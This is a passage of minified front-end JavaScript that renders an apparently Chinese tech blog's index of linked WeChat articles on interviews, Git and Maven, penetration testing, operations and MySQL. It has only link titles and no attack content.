"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489190&idx=1&sn=f47f87c1784664a23eff41b5bbc854d7&chksm=cf55a1a7f82228b1dac0635e31fde41f63cb884456d63422dc845cbe3e7982a2868df744d6a1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:说说缓存最关心的问题?有哪些类型?回收策略和算法?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489181&idx=1&sn=aa1928a2d4d6280aa961bfca16da3afb&chksm=cf55a19cf822288a9af29aba1ae321ce74ae0342217270a630dee94503d5bf47b44a082aa0de&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲Redis的五大数据类型?如何使用?(内含完整测试源码)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489148&idx=1&sn=76b7af63c8fdee5eaecd0a09c5988674&chksm=cf55a17df822286b46a67510ccce04c12c0eba5de2ac473213669f48feb5cd63ba282ab4713f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("今天又一名读者斩获蚂蚁金服Offer,就是这么简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489146&idx=1&sn=44d502461973c72a418d5597fc9c434b&chksm=cf55a17bf822286d5daf2f7fea9832254d34830df067ef2fff588eadf68151b3e79097a8613f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲七层网络模型与TCP三次握手与四次断开?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489136&idx=1&sn=2fd7d6136c7075cfc38d6286c3ef074c&chksm=cf55a171f8222867d407c6f34ff350c3879fa04f28271bb9525fcdbfe103e6ca58a73bf20733&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:如果让你设计一个高并发的消息中间件,你会怎么做?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489135&idx=1&sn=321c7121c31cb6cc327bdfc525b88743&chksm=cf55a16ef82228784a74be63c0068875012abf0b2cf969481a86386c9cd3e0fc6e18911500b6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲类的加载、链接和初始化?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489134&idx=1&sn=fa59dc70f8060a4670bdc5a2630e701f&chksm=cf55a16ff82228791e033427d673895e9a1699ac67983b18da6735a261d58a4695aa97163423&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:做过性能优化的工作吗?你会从哪些方面入手做性能优化呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489133&idx=1&sn=434ca533aee95e2a0e4307f4f5f48345&chksm=cf55a16cf822287af928ff88aed8826a5e3bad5fb51744a539e29733f867ad3abb48cbcd6948&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如何以最高的效率从MySQL中随机查询一条记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489131&idx=1&sn=3d3ae1ddcb6f22125b25de0b8e54a5f2&chksm=cf55a16af822287c40c3e74de15a714b816a2a3ffd9c1ca40e2a70937f817bf6622e810497a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲Redis的虚拟内存?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"互联网工程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#互联网工程"}},[e._v("#")]),e._v(" 互联网工程")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497828&idx=1&sn=ec7fabe90450e28f647d2ad964e89bd7&chksm=cf564f65f821c673febc888dfc457e4ac145b36006a7a88cb265ac6b500a71d7f414809172d3&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河亲自整理的Git命令汇总(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489163&idx=1&sn=38a317b2e6de99c4f10b5a80df153bd4&chksm=cf55a18af822289c6595fc37674bf1f9188521c1de760cd8cf4801bc716aa974847d79509e24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("十一长假我肝了这本超硬核PDF,现决定开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489192&idx=1&sn=1f793496fa2d6eb75559c9eedb4fece5&chksm=cf55a1a9f82228bf9828af75a8765f5cd76baf0beb2fc8078d4994ec9373e856f5f157af50b8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为什么互联网巨头们纷纷使用Git而放弃SVN?(内含Git核心命令与原理总结)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489186&idx=1&sn=fe9e55a4f6d78b5ffc95a166070196d3&chksm=cf55a1a3f82228b590f4aa712435acf65d7340ba762a0f840890ad11db804b3692d94fd80a48&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我搭建了一套企业级私有Git服务,抗住了每天上万次攻击!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489169&idx=1&sn=496d477dc668c04c2e84f5f918bf1ebb&chksm=cf55a190f82228860b6516857486b23107d895be452f35da3abeba4ef1acd05805aba5a17c29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用Maven那么久了,你对企业级Maven的核心配置了解多少?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489168&idx=1&sn=17983641eb3efc819e8d8314d1b7ecce&chksm=cf55a191f822288727c44cb457c90749494492e5626a71bc23e193b20c44838f6c19c9dce9a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:开发过Maven插件吗?我:开发过啊。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489167&idx=1&sn=86369b6a6e81c45ca2fb59f8f379e39c&chksm=cf55a18ef822289896820df6da422125a2f718433da8258f5cadec2122f6e64e1b38a81a5a98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我:如何搭建Maven私服?我连夜肝了这篇实战文章!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489166&idx=1&sn=072f0a5324e99f3852ccbfc1b687208c&chksm=cf55a18ff82228994255c4e9abc4edee08cdb7e0343fc408eb7e415c02baedabdf9d13c3a9e0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴想学Jenkins自动构建发布项目,我:安排上了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497927&idx=1&sn=929bb03d1ffc8ec8cd4c38f56c7d7497&chksm=cf564fc6f821c6d0943f1bcfcd86724d1c3afc89249870ddc93fc450aa9020df89a81a15c5f5&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搭建Maven私服(建议收藏)!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通渗透系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通渗透系列"}},[e._v("#")]),e._v(" 精通渗透系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496713&idx=1&sn=d81f0ee9625ee041ebfb0390ba35fbda&chksm=cf564308f821ca1e190ce11cee1725dbd3f1753f27c0f7f266d8633605318af8ee7759422f09&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("国庆第一天冰河在车上又肝了一本电子书!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494362&idx=1&sn=dcc2b6e9722afac2963929800578bbc3&chksm=cf565ddbf821d4cdc5551c60dadbd1ee87facb24844eaa994eb58a87e31477fe56a8c133bc74&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("黑客常用SQL注入绕过技术总结!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494015&idx=1&sn=b4e5c7fb01d6c6619e027a4546b72df2&chksm=cf565e7ef821d768ea6fd3bf3b9369df8934358838c9b12a662ad57c335ef8d5c6ce3b4ae690&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,冰河又写了一本电子书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493194&idx=1&sn=62e3c40b2cf963c1a0b0bc531465249c&chksm=cf56514bf821d85d5f56f437de1911724b89efc324e334fb26c5e0b7fc1ea82f99a0da289ba8&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《冰河的渗透实战笔记》电子书正式发布!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489208&idx=1&sn=5703e777f9aab5277ef840555f12421b&chksm=cf55a1b9f82228af92b558dfe44063ad4ba2622329737bb4be39597b673449af970b71ecf32c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我入侵了隔壁妹子的Wifi,发现。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499927&idx=1&sn=69d8fd345b7f74abe492b40acedcc8b6&chksm=cf567796f821fe80d720b9ab0c7b8f4a953129e35ed01fa46f5fed230bdde77eb3054d3ffb3f&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《冰河的渗透实战笔记》全网下载突破5W+"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501317&idx=1&sn=7a7d41d95b4d705e3952008b3d96d9cc&chksm=cf567104f821f81279ea31bae4c38a1f78a7e2637560c4e5807592af3ba2ef91ec7e78240a24&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通大数据系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通大数据系列"}},[e._v("#")]),e._v(" 精通大数据系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492408&idx=1&sn=e5d8a1d3e8d4d28f836c11d631b66667&chksm=cf565439f821dd2fa002c09af2c2909e91dcf0e1917ca74e4bcf221530d99f246ec49bcaf5cb&token=78679959&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("极简介绍Zookeeper,我想跟你聊这些!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492272&idx=1&sn=39b21a0f0da6629c72bf50fb21f51479&chksm=cf5655b1f821dca776ab19af8b477bdf590005606742dc4df30d34921b1b05608cb54cc4ba72&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("精通Zookeeper系列开篇:进大厂不得不学的分布式协同利器!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通运维系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通运维系列"}},[e._v("#")]),e._v(" 精通运维系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495929&idx=1&sn=c776b5b315247bd41b3f506ba7d0d0d4&chksm=cf5647f8f821ceeef76c7f099afd46341e64f0f6bee4779a66b4b4786de869245b5c370d1c7d&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一周时间成功编译了Linux操作系统源码,快要裂开了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493167&idx=1&sn=0bb0055b6705becf7904bd5fd347a67f&chksm=cf56512ef821d83865cd13a5bbbdc5efba101c84d59aecbee6df0d0651d161e7c47b9163620e&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在服务器命令行输入rm -rf /* 究竟会发生什么?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492340&idx=1&sn=35464589fc36bf80e09231d5f08d351b&chksm=cf5655f5f821dce3015bc74fa28f55e2dac08fa3a24e4ce3a99eaebc28b3ad115371b35ba5ae&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我写了一个脚本,可在“任意”服务器上执行命令!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489137&idx=1&sn=95c8b1dffe0734c23a82105d38733eda&chksm=cf55a170f82228664eebe997563ada7a1fb413e42a7ab2ca9714bf79004537aa60f587a520fe&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何在服务器上添加虚拟IP?看完原来如此简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489463&idx=1&sn=77957646664d4c5c4cb86612810d9a1e&chksm=cf55a0b6f82229a05d2440353a436a8d6409b50a70db08fc83696d1bd4582b78d6f135c70189&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何在Linux操作系统上添加虚拟IP吗?这篇文章帮你搞定"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489454&idx=1&sn=137088bd11428158b3d6cd8317c350cf&chksm=cf55a0aff82229b9cbea3e88e3323b3515af3389da5b69940ff9b64476e363cfeff4729728e1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何在Linux服务器上挂载新硬盘吗?冰河为你揭开这个秘密"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"吃透mysql系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#吃透mysql系列"}},[e._v("#")]),e._v(" 吃透MySQL系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496625&idx=1&sn=244a98d5c672ffffe85bb17059f200aa&chksm=cf5644b0f821cda655977b9ad0ceb1cbd4296e2cd88c1fdd8d95e0b49819c0bb95fb1bd05ee9&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一招教你防止删库跑路!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500275&idx=1&sn=5cc8c5b914554fc5b635675a3013817c&chksm=cf5676f2f821ffe4bebd11f6645d48226274dc282860a3f4779aa5dbcff87524ae5fafa7eaa4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("基于MVCC,我用C++自己手撸了个MySQL!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496586&idx=2&sn=358d974f6a660d40263cd0d969f40570&chksm=cf56448bf821cd9dbbe948d795f634c0e5e2bc0fea1466d86d45d07b3afc5ffe4895d7f61afc&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("糟了,生产环境MySQL主从数据库不一致怎么办?!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496514&idx=1&sn=5af221bf9fb726e9efb9e436cf3092fa&chksm=cf564443f821cd55b8788dccfb3ff5d9d16d3d36de86c572f7b3b933454f7723ba86d16beaa3&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实际案例:MySQL主键性能压测!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495115&idx=1&sn=d95725917c7ee850664e54ef0f3c4f66&chksm=cf565acaf821d3dc7ab3527b0ffe89e65e239b0d81a682de308a28b4d6789340cd243028ce2a&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL8索引篇:性能提升了100%!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492973&idx=1&sn=c397b6e5888bca04466843fdc2791b70&chksm=cf56526cf821db7a5b96ea223fe095fb44997d6f3f1c7e42a6d1396f7bcb62e4f2a39abd85b8&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,安装完MySQL竟然提示数据表不存在!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492818&idx=1&sn=f25ff876866929a84a2afc2464420fd1&chksm=cf5653d3f821dac563efbd2c97ed38b25872a7ce22056e31a023ff80ae8f4e64de08aeb84eb2&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河视频聊架构:三分钟带你彻底掌握MySQL Undo Log和MVCC机制!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492253&idx=1&sn=6b943ad940c8db578fc0259b09c3d853&chksm=cf56559cf821dc8a4cd8bf87db9c5f615183e2f6ca4e7e20e043403880d89a0d2ceff7e575cf&token=154776380&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂select语句在MySQL中的执行流程!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492240&idx=1&sn=98995b9dc5b749ad285139d6e45c3a4b&chksm=cf565591f821dc87d4143d70bc1a28c0bd503322de0288387c4725c93229210a895a7fbdd7e9&token=154776380&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们说要看MySQL体系架构的视频,我连夜整理出来了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490929&idx=1&sn=e8d98d0c9c357f32719af064b230cfa2&chksm=cf55aa70f8222366eea0a124adc70c5c2092c6e528414297f4b8e17deb6f3ebde56603154b41&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL优化思路"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491043&idx=1&sn=03edc8bad89bb5f6176f1b1fa6011f2e&chksm=cf55aae2f82223f4e2fe53a0a1c1e1a8a49d0cd069f53b1c7c9b00553b5f51b1e541426e79ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("业务高峰期不小心拔掉了服务器电源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491060&idx=1&sn=2fd0339f2b915a6a1eb63938883b3c18&chksm=cf55aaf5f82223e35f04c043dabd7204c3593a70e4be209d9b8bb9bb0e05c2a13b5949fd6a87&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂MySQL体系架构!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491119&idx=1&sn=321d6b7adaa98b2039111b01fe3515c0&chksm=cf55a92ef82220381474e43cdfe5cf8ec070a13c2279475c9f1c0b4e9faae7fc841a24214257&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于MySQL日志,我与阿里P9都聊了些啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489326&idx=1&sn=dcef8d1cb8f73b1610ff283a2f9277d4&chksm=cf55a02ff82229396c0687786aa9f8fc0e955cee2def9b0e0c50404f307bf5a6c052061db0dc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次MySQL崩溃修复案例,再也不用删库跑路了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489238&idx=1&sn=ba8ae7148dbdaf055c3ab6a89dc416e9&chksm=cf55a1d7f82228c173cdd3b13612f713119467d6b0bf74f093b37132c85fca128a6c5deed16e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何最大程度防止人为误操作MySQL数据库?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489225&idx=1&sn=f45605e2e24cbaf0ff35eda79f0620c9&chksm=cf55a1c8f82228deb4abba94e261e6ff04dcc014f66c2fd8e73e66213ff38ee62965abacb644&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次线上重大事故:二狗子竟然把线上数据库删了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489217&idx=1&sn=d4242cf147e077da15eb53ca0a63980b&chksm=cf55a1c0f82228d6b0ba820757acbf0156dc1b370d5ebb333ed1874448fd2253a0b84c9ef8c4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:MySQL如何实现无数据插入,有数据更新?我是这样回答的!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489207&idx=1&sn=dea22de9b4810b31e1836ec7f6153ccc&chksm=cf55a1b6f82228a0d952f1cb1500cf04949670beced0c05a54b0ca284ae8590de2577fd6fa99&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我这样分析MySQL中的事务,面试官对我刮目相看!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489183&idx=1&sn=a966df8e4a942154b677c7cd23cb16a4&chksm=cf55a19ef8222888ede8e67182c95960d0ae5e43c12b659424623a62633108801c7ae9958912&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何添加新数据库到MySQL主从复制环境?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489175&idx=1&sn=72a43c2f94dac0f482d811cb2e60e56c&chksm=cf55a196f8222880c8a115bd891552aa7dd6907051534af601850c9348d57e5df48b5f3694ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何查询和删除MySQL中重复的记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489153&idx=1&sn=6195de2d42d61499edc1953d595f07a3&chksm=cf55a180f822289613357b559b46788a3985a070f20a442ecedaaf34ff7b9c94b44aef9d578e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("怒肝两个月MySQL源码,我总结出这篇2W字的MySQL协议详解(超硬核干货)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489133&idx=1&sn=434ca533aee95e2a0e4307f4f5f48345&chksm=cf55a16cf822287af928ff88aed8826a5e3bad5fb51744a539e29733f867ad3abb48cbcd6948&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何以最高的效率从MySQL中随机查询一条记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489128&idx=1&sn=bfd3e00d8c8f8e4f259bf5e6b9e49f16&chksm=cf55a169f822287ffc79194e3b8103fb04ec7391d2a89ab3fb9d7c046243d2a04f414917253e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从零到千万用户,我是如何一步步优化MySQL数据库的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489124&idx=1&sn=99436502e91fc1b0ae1abc75676a9f38&chksm=cf55a165f822287311a5751dbfae0df37614a412008ae3c4072924ef16d2c91ec9f6239ec588&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL主从复制的原理和注意事项"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489123&idx=1&sn=0fefb3c14f0ca8dc29f8614fafea5086&chksm=cf55a162f822287477ea95fd59f655f04227bfb61c3e6bf61419f2a93ed75fced8cf2f6ab44e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何最大程度防止人为误操作MySQL数据库?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489119&idx=1&sn=680c76b105c1b482dd9ecf335a25ec21&chksm=cf55a15ef82228485d75c580ba722029b2ec68f403314ae7ba5ff83cedc2b4ed7d5cad3c5c04&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("糟了,生产环境MySQL主从数据库不一致怎么办?!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489118&idx=1&sn=7794f3c26c4404da9c389fa080837146&chksm=cf55a15ff82228497a7de6f3969678003971bdbc8fcf0af6f22e39893b2ab097e975f377289c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 